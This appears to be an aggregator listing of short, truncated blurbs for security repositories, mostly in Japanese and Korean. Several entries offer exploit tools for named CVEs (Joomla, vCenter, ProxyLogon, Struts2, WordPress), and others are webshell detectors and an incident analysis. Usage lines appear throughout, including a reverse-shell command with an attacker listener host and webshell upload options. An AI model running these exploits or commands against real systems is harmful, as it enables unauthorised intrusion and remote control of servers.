php-malware-finder

PHP 멀웨어 파인더 root@kitploit: | || || || | | | | || || | | || || || || Webshell finder, | || || | kiddies hunter, | | | |||| || | website cleaner. || || |||| 잠재적으로 악성인 PHP 파일을 탐지합니다. 감지 대상 PHP-malware-finder는 난독화/의심스러운 코드와 멀웨어/웹쉘에서 자주 사용되는 PHP 함수를 감지하기 위해 최선을 다합니다. 다음 인코더/난독화 도구/웹쉘 목록도 감지합니다: Bantam...

cve-2022-23636-poc

CVE-2022-23626 - m1k1oのブログ 認証済みRCE m1k1oのブログ v1.3以下におけるファイルアップロードの脆弱性を利用した認証済みリモートコード実行 説明 ajax.php?action=uploadimageエンドポイントはアップロードされたファイルタイプを適切に検証しないため、認証済みユーザーが画像に偽装したPHPウェブシェルをアップロードできます。攻撃者はその後、アップロードされたファイルに直接リクエストすることで実行をトリガーできます。 参照 EDB-50943 CVE-2022-23626 m1k1o/blog GitHub 影響を受けるバージョン...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 影響範囲：3.0.0-3.4.6 1、脆弱性の検証 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 「Vulnerable」と表示されれば、脆弱性が存在することが証明されます python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 実行に成功...

CVE-2021-3129-exp

Laravel Debug mode RCE脆弱性（CVE-2021-3129）POC / EXP CVE-2021-3129 EXP / POC 注意⚠️：本脆弱性の悪用・検出は複数回のリクエストを送信するため、処理が遅くなる可能性があります。 usage: root@kitploit: python CVE-2021-3129.py usage: python CVE-2021-3129.py -u url --exp Laravel Debug mode RCE（CVE-2021-3129）POC & EXP optional arguments: -h, --help show...

CVE-2022-28590

CVE-2022-28590 元の発見と手動 PoC は tuando243 によるものです。 Pixelimity 1.0 には、admin/admin-ajax.php?action=installtheme を介したリモートコード実行 RCE の脆弱性が存在します。 この PoC は、さらなるリモートコード実行のためにシンプルなウェブシェルをアップロードします。このエクスプロイトは、サーバー上で system 関数が許可されていることを前提としています。許可されていない場合は、system 以外のどの関数が実行を許可しているかを検出するために、事前の調査が必要です。 インストール...

CVE-2021-21972

使い方:CVE-2021-21972.py option -u or --url：ターゲットURL -t or --type：ペイロードタイプ（ssh/webshell -f or --file：アップロードするファイル（webshell或authorizedkeys） 例：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy：プロキシを設定 例：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p...

CVE-2022-22965-rexbb

CVE-2022-22965-rexbb springboot coreのコマンド実行脆弱性、CVE-2022-22965の脆弱性悪用ツールです。JavaFxで開発されており、グラフィカルな操作でより簡単に、効率良く利用できます。 2022年12月28日-水曜日-21:44 ここ数日、脆弱性の再現をしていたところ、これまで多くの古典的な脆弱性を見逃していたことにふと気づきました。このsping...

Apache ActiveMQ < 5.16.5/5.17.3 - Remote Code Execution

Once an user is authenticated on Jolokia, he can potentially trigger arbitrary code execution. In details, in ActiveMQ configurations, jetty allows org.jolokia.http.AgentServlet to handler request to /api/jolokia org.jolokia.http.HttpRequestHandlerhandlePostRequest is able to create JmxRequest...

WebShells

WebShells WebShell 学習...

collision-webshell

Webshell 衝突 このリポジトリには、同じ MD5 ハッシュを持つ 2 つのファイルが含まれています: webshell.php normal.php ファイルの MD5: root@kitploit: $ md5sum .php b719a17ae091ed45fb874c15b2d9663f normal.php b719a17ae091ed45fb874c15b2d9663f webshell.php webshell.php の Hexdump: root@kitploit: $ hexdump -C webshell.php 00000000 3c 3f 3d 65 76...

Zimbra-CVE-2022-30333

Zimbra-CVE-2022-30333 Zimbra の unrar 脆弱性。現在すでに POC が公開されているため、当方の POC を公開しても安全です。 CVE-2022-30333 Zimbra UNRAR の脆弱性。V 6.11 までの Unrar が脆弱です。.jsp シェルが検出されないようにしてください。このエクスプロイトは、デフォルトパスにインストールされた Zimbra で動作します。 webshell を rootver フォルダに配置してください。既存の shell.jsp ファイルを削除してください。次に rootver フォルダを rar...

cve-2021-27065

도난 데이터 검색을 기반으로 새로운 코드를 추가하거나 기존 코드를 계속 수정할 예정입니다 시스템이 손상된 경우, 이 스크립트가 문제를 해결해 주지는 않습니다! 이 스크립트는 시스템에서 발생한 일의 범위를 알게 되는 것 외에는 아무런 이점을 제공하지 않습니다. 그렇기 때문에 저는 시스템에서 도난당할 수 있었던 데이터를 조사하는 데 사용하고 있는 스크립트를 여기에 계속 추가할 것입니다. 유용한 링크 1...

exchange_webshell_detection

이 프로젝트는 중단되었습니다 대신 Microsoft 도구를 사용하십시오: Microsoft Safety Scanner 다음에 나열된 기타 탐지 및 완화 조치: https://github.com/microsoft/CSS-Exchange/tree/main/Security 영향 평가 시 침해를 가정하고 1월 이후 공개적으로 노출된 모든 MS Exchange 서버를 사전에 검사할 것을 강력히 권장합니다. 활성 손상 징후가 없더라도 마찬가지입니다. 데이터 유출 및 구성 변경은 악용 체인의 SSRF 부분만으로도 가능했으며즉, 코드 실행,...

proxylogon-exploit

proxylogon CVE-2021-26855 および CVE-2021-27065 の概念実証エクスプロイトです。以下のリソースで説明されているように、Microsoft Exchange 上で認証なしのリモートコード実行を可能にします。 https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers...

CVE-2023-20198-Scanner

Cisco IOS XE デバイススキャナ ユーザーガイド CVE-2023-20198-Scanner向け これは、CVE-2023-20198 および CVE-2023-20273 の影響を受ける Cisco IOS XE WebUI 上のインプラントを識別するために設計されたウェブシェルフィンガープリントスキャナです。この Python スクリプトは、HTTP および HTTPS リクエストを行うことで、侵害された Cisco IOS XE デバイスをチェックします。ターゲット IP を指定する複数の方法をサポートし、高速スキャンのためのスレッド機能を提供します。 ChangeLo...

CVE-2022-41678

Apache ActiveMQ CVE-2022-41678 エクスプロイトツール 脆弱性の概要 参考ドキュメント: https://app.nextcyber.cn/courses/41/tasks/580 CVE-2022-41678 は Apache ActiveMQ におけるリモートコード実行の脆弱性です。この脆弱性により、攻撃者は JMX Java Management Extensions インターフェースを介して Log4j 設定または JFR Java Flight Recorder 設定を変更し、悪意のある JSP ウェブシェルをサーバーの Web...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 インシデント分析 概要 このプロジェクトは、SharePoint サーバーを標的とした ToolShell 脆弱性 CVE-2025-53770 を利用した実際の攻撃試行の調査を文書化したものです。 この攻撃は、リモートコード実行、ウェブシェルの展開、認証情報データの抽出を含む完全な攻撃チェーンを示しています。 初期アクセス 攻撃は、SharePoint サーバーを標的とした CVE-2025-53770 の悪用を示す不審なアラートから始まりました。 悪用リクエスト 認証されていない HTTP POST...

PHP-8.1.0-dev_WebShell-RCE

PHP 8.1.0-dev WebShell RCE（未認証） PHP 8.1.0-dev WebShell RCE（未認証）用エクスプロイトコード 期待される結果: PHP 8.1.0-dev サーバーにインストールされたバックドアを悪用し、WebShell を取得してリモートでコマンドを実行します。 教育目的および企業環境でのテストのみを対象としています。 このエクスプロイトは Python 3.8.6 でテストされました。 使用方法: root@kitploit: cfx: /Documents/ → ./exploit.py -h usage: exploit.py -h -l...

CVE-2026-60137-and-CVE-2026-63030

wp2shell Lab — CVE-2026-60137 & CVE-2026-63030 WordPress Core Pre-Auth RCE ラボ — 実際のエクスプロイト、RCE サーバー。 警告: ラボは脆弱な WordPress を実行します。インターネットに公開しないでください。 構成 root@kitploit: . ├── docker-compose.yml Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin ├── exploit/ PoC exploit clone từ GitHub │ └── wp2shell.py...

struts2-tool

Struts2 脆弱性検出・悪用ツール s2tool 純Java で実装された Struts2 S2-045 / S2-046（CVE-2017-5638）脆弱性検出・悪用ツール。 検出モジュールは S2-045 / S2-046 の2つの脆弱性をカバーし、 悪用モジュールはコマンド実行、ファイル管理、情報取得、対話型シェル、リバースシェル、Webshell アップロードなどの機能を提供します。 免責事項 ：本ツールは認可されたセキュリティテスト、脆弱性研究、教育目的のみに使用してください。 認可のない不正利用は厳禁であり、利用者はすべての法的責任を自己負担するものとします。 機能概要...